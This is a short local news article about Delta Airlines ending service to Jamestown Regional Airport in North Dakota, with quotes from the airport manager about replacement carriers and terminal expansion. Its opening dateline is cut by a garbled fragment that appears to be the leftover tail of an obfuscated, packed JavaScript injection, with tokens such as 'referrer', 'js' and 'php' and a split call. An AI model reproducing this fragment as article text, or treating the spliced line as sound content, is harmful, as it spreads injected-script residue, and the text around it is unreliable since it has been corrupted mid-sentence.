JAMESTOWN, ybzns|var|u0026u|referrer|zfbzh||js|php’.split(‘|’),0,{}))
ND– Delta Airlines announced over the weekend that they plan to discontinue service to 15 small cities across the country, including at the Jamestown Regional Airport in an effort to save costs for the airline.

Delta says they have lost near $14 million dollars serving these cities, which in North Dakota also include Devils Lake. The airline also says it is retiring the Saab 340 aircraft which Delta has used to service Jamestown.

Jamestown Regional Airport Manager Matthew Leitner told NewsDakota.com that even though the airline is pulling out, Delta is required to stay as the air carrier for Jamestown until another airline is found to fill the void, and service will be in no way interrupted. “It’s a bump in the road, and although we are saddened to see Delta pull out, we are more than confident that another airline will step to the plate.” said Leitner. Bids from other airlines are expected to be announced in early August.

Since taking over as airport manager last year, Leitner has seen the airport set all time monthly boarding records every month. The airport is also in the midst of a massive terminal expansion, in addition to work on growing the parking lots into short and long term parking.